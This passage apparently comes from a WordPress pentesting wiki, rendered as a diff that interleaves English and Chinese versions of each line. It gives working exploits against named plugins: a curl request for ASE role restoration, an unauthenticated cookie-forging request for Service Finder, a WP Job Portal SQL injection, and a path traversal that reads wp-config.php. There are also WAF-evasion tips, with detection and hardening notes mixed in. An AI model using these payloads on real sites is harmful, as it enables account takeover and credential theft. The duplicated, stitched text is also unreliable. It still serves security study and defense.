> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
> **始终**将任何对磁盘的写入/删除操作视为需要特权的操作并进行仔细检查:
> • 认证 (Authentication) • 授权 (Authorisation) • Nonce • 输入消毒/验证 • 路径包含控制(例如通过 `realpath()` 加上 `str_starts_with()`)。
---
### Privilege escalation 通过过时的角色恢复和缺少授权 (ASE "View Admin as Role")
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
许多插件通过将原始角色保存在 user meta 中以便稍后恢复,来实现 "view as role" 或临时角色切换功能。如果恢复路径仅依赖请求参数(例如 `$_REQUEST['reset-for']`)和插件维护的列表,而没有检查权限和有效的 nonce这就会成为一次垂直的权限提升。
许多插件通过将原始角色保存在 user meta 中来实现“view as role”或临时角色切换功能以便稍后恢复。如果恢复路径仅依赖请求参数(例如 `$_REQUEST['reset-for']`)和插件维护的列表,而没有检查能力capabilities和有效的 nonce这就会成为一次垂直权限提升。
在 Admin and Site Enhancements (ASE) 插件(≤ 7.6.2.1)中发现了一个真实案例。reset 分支会基于 `reset-for=<username>` 恢复角色,如果该用户名出现在内部数组 `$options['viewing_admin_as_role_are']` 中,但在移除当前角色并从 user meta `_asenha_view_admin_as_original_roles` 重新添加保存的角色之前,既没有进行 `current_user_can()` 检查,也没有进行 nonce 验证:
一个真实案例出现在 Admin and Site Enhancements (ASE) 插件(≤ 7.6.2.1)中。重置分支在用户名出现在内部数组 `$options['viewing_admin_as_role_are']` 时会根据 `reset-for=<username>` 恢复角色,但在移除当前角色并重新添加来自 user meta `_asenha_view_admin_as_original_roles` 的已保存角色之前,既未进行 `current_user_can()` 检查,也未进行 nonce 验证:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
@ -513,15 +508,15 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
```
为什么可被利用
- 信任 `$_REQUEST['reset-for']`一个插件选项而没有进行服务器端授权。
- 如果用户先前在 `_asenha_view_admin_as_original_roles` 中保存了更高的权限并被降级,他们可以通过访问重置路径恢复这些权限。
- 在某些部署中,任何已认证的用户都可以为仍存在于 `viewing_admin_as_role_are` 的另一个用户名触发重置(授权机制损坏)。
- 信任 `$_REQUEST['reset-for']` plugin option而未进行服务器端授权。
- 如果用户之前在 `_asenha_view_admin_as_original_roles` 中保存了较高权限并被降级,他们可以通过访问重置路径恢复这些权限。
- 在某些部署中,任何 authenticated 用户都可以触发对仍存在于 `viewing_admin_as_role_are` 中的另一个用户名的重置(授权不当)。
攻击先决条件
利用前提
- 启用了该功能的易受攻击的插件版本
- 目标账号在 user meta 中保留了先前使用遗留的高权限角色。
- 任何已认证的会话;重置流程缺少 nonce/capability。
- 存在漏洞的 plugin 版本且该功能已启用
- 目标账号在早期使用时在 user meta 中保存了陈旧的高权限角色。
- 任何 authenticated 会话reset 流程中缺少 nonce/capability。
利用(示例)
```bash
@ -531,76 +526,125 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
在易受攻击的构建中,这会移除当前角色并重新添加已保存的“原始角色”(例如 `administrator`),从而有效地提升权限。
在易受攻击的构建上,这会移除当前角色并重新添加保存的“原始角色”(例如 `administrator`),从而有效地提升权限。
Detection checklist
- 查找将“原始角色”保存在 user meta 中的角色切换功能(例如 `_asenha_view_admin_as_original_roles`)。
- 识别重置/恢复路径,这些路径
- 查找在 user meta 中持久保存“原始角色”的角色切换功能(例如 `_asenha_view_admin_as_original_roles`)。
- 识别重置/恢复路径,条件包括
- 从 `$_REQUEST` / `$_GET` / `$_POST` 读取用户名。
- 通过 `add_role()` / `remove_role()` 修改角色但未使用 `current_user_can()``wp_verify_nonce()` / `check_admin_referer()`
- 基于插件选项数组(例如 `viewing_admin_as_role_are`)进行授权,而不是基于执行者的权限capabilities
- 通过 `add_role()` / `remove_role()` 修改角色,但没有使用 `current_user_can()``wp_verify_nonce()` / `check_admin_referer()`
- 基于插件选项数组(例如 `viewing_admin_as_role_are`)进行授权,而不是基于执行者的权限。
Hardening
- 在每个会改变状态的分支上强制进行权限检查(例如 `current_user_can('manage_options')` 或更严格的检查)。
- 对所有角色/权限变更要求使用 nonces进行验证:`check_admin_referer()` / `wp_verify_nonce()`
- 不信任请求提供的用户名;应基于已认证的执行者和明确策略在服务器端解析目标用户。
- 在配置文件/角色更新时使“原始角色”状态失效,以避免陈旧的高权限被恢复
- 在所有会改变状态的分支上强制执行能力检查(例如 `current_user_can('manage_options')` 或更严格的检查)。
- 对所有角色/权限变更要求 nonce 并验证:`check_admin_referer()` / `wp_verify_nonce()`
- 不信任请求提供的用户名;应基于已认证的执行者和明确策略在服务器端解析目标用户。
- 在个人资料/角色更新时使“原始角色”状态失效,以避免恢复过时的高权限
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
- 考虑存储最少状态,并在临时角色切换时使用 time-limited、capability-guarded tokens
- 考虑仅保存最小状态,并为临时角色切换使用有时限且受 capability 保护的令牌
---
### WAF 在 WordPress/plugin CVEs 上的考虑
### Unauthenticated privilege escalation via cookietrusted user switching on public init (Service Finder “sf-booking”)
通用的 edge/server WAFs 通常针对广泛的模式进行调优SQLi、XSS、LFI。许多高危的 WordPress/plugin 漏洞是特定于应用的逻辑/认证缺陷,除非引擎理解 WordPress 路由和 plugin 语义,否则这些请求看起来像正常流量
一些插件将用户切换的辅助函数绑定到公共的 `init` 钩子,并从客户端可控的 cookie 推断身份。如果代码调用 `wp_set_auth_cookie()`但没有验证身份、capability 和有效的 nonce任何未认证的访客都可以强制以任意用户 ID 登录
Offensive notes
典型的易受攻击模式(简化自 Service Finder Bookings ≤ 6.1
```php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
- 针对 plugin 特定的端点使用干净的 payloads`admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- 先尝试未认证路径AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes。默认的 payloads 通常在不进行混淆的情况下就能成功。
- 常见的高危情形privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
```
为什么可被利用
Defensive notes
- 公开的 `init` hook 使得处理程序对未认证用户可达(没有 `is_user_logged_in()` 保护)。
- 身份来自客户端可修改的 cookie`original_user_id`)。
- 直接调用 `wp_set_auth_cookie($uid)` 会将请求者以该用户身份登录,而没有任何 capability/nonce 检查。
- 不要仅依赖通用的 WAF 签名来保护 plugin CVEs。应实现 application-layer、vulnerability-specific 的虚拟补丁或尽快更新。
- 在代码中优先使用正向安全检查capabilities, nonces, 严格的输入验证),而不是基于负向的 regex 过滤。
利用(未认证)
```http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
```
---
### WAF 考虑事项(针对 WordPress/plugin CVEs
通用的 edge/server WAF 通常针对广泛的模式进行调优SQLi, XSS, LFI。许多高影响的 WordPress/plugin 漏洞是与应用相关的逻辑/auth bug除非引擎理解 WordPress 路由和插件语义,否则这些请求看起来像正常流量。
攻击方说明
- 针对插件特定端点使用干净的 payloads`admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- 先尝试未认证路径AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes。默认 payloads 通常在不做混淆的情况下就能成功。
- 典型的高影响案例privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
防御性说明
- 不要依赖通用 WAF 签名来保护 plugin CVEs。应实施应用层的、针对具体漏洞的虚拟补丁或尽快更新。
- 在代码中优先使用正向安全检查capabilities, nonces, strict input validation而不是依赖否定式的正则过滤。
## WordPress 保护
### 定期更新
确保 WordPress、plugins 和 themes 都是最新的。还要确认在 wp-config.php 中启用了自动更新:
确保 WordPress、plugins 和 themes 已更新到最新。并确认在 wp-config.php 中启用了自动更新:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
另外,**只安装可信赖的 WordPress 插件和主题**。
Also, **仅安装可信任的 WordPress 插件和主题**
### 安全插件
### Security Plugins
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
### **其他建议**
### **Other Recommendations**
- 删除默认 **admin** 用户
- 移除默认的 **admin** 用户
- 使用 **强密码** 和 **2FA**
- 定期 **审查** 用户 **权限**
- **限制登录尝试** 以防止 Brute Force 攻击
- 重命名 **`wp-admin.php`** 文件,并仅允许从内部或某些 IP 地址访问。
- **限制登录尝试次数** 以防止 Brute Force 攻击
- 重命名 **`wp-admin.php`** 文件,并仅允许从内部或特定 IP 地址访问。
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
WP Job Portal 招聘插件暴露了一个 **savecategory** 任务,该任务最终在 `modules/category/model.php::validateFormData()` 执行以下易受攻击的代码:
WP Job Portal 招聘插件暴露了一个 **savecategory** 任务,该任务最终在 `modules/category/model.php::validateFormData()` 执行以下易受攻击的代码:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
@ -610,19 +654,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
```
Issues introduced by this snippet:
此代码片段引入的问题:
1. **Unsanitised user input** `parentid` comes straight from the HTTP request.
2. **String concatenation inside the WHERE clause** no `is_numeric()` / `esc_sql()` / prepared statement.
3. **Unauthenticated reachability** although the action is executed through `admin-post.php`, the only check in place is a **CSRF nonce** (`wp_verify_nonce()`), which any visitor can retrieve from a public page embedding the shortcode `[wpjobportal_my_resumes]`.
1. **未过滤的用户输入** `parentid` 直接来自 HTTP 请求。
2. **在 WHERE 子句中使用字符串拼接** 没有 `is_numeric()` / `esc_sql()` / prepared statement。
3. **未认证即可访问** 虽然该 action 是通过 `admin-post.php` 执行,但唯一存在的检查是 **CSRF nonce** (`wp_verify_nonce()`),任何访客都可以从嵌入短代码 `[wpjobportal_my_resumes]` 的公开页面获取。
#### 利用
#### Exploitation
1. 获取一个新的 nonce:
1. Grab a fresh nonce:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
2. 通过滥用 `parentid` 注入任意 SQL:
2. Inject arbitrary SQL by abusing `parentid`:
```bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
@ -630,18 +674,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
The response discloses the result of the injected query or alters the database, proving SQLi.
响应会显示注入查询的结果或修改数据库,从而证明存在 SQLi。
### 未认证的任意文件下载 / 路径遍历 (WP Job Portal <= 2.3.2)
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
另一个任务,**downloadcustomfile**,允许访问者通过路径遍历下载磁盘上的 **任意文件**。易受攻击的函数位于 `modules/customfield/model.php::downloadCustomUploadedFile()`
另一个任务,**downloadcustomfile**,允许访客通过 path traversal 下载 **磁盘上的任意文件**。易受攻击的漏洞点位于 `modules/customfield/model.php::downloadCustomUploadedFile()`
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name` 由攻击者控制并被拼接 **未进行清理**。再次说明,唯一的关卡是一个 **CSRF nonce**,可以从简历页面获取。
`$file_name` 由攻击者控制并被拼接**未经过清理**。 再次,唯一的门槛是一个 **CSRF nonce**,可以从简历页面获取。
#### Exploitation
```bash
@ -652,7 +696,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
```
服务器响应 `wp-config.php` 的内容leaking DB credentials and auth keys。
服务器返回 `wp-config.php` 的内容leaking DB credentials 和 auth keys。
## 参考资料
@ -663,5 +707,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
- [WooCommerce Payments ≤ 5.6.1 Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
- [Service Finder Bookings privilege escalation Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
{{#include ../../banners/hacktricks-training.md}}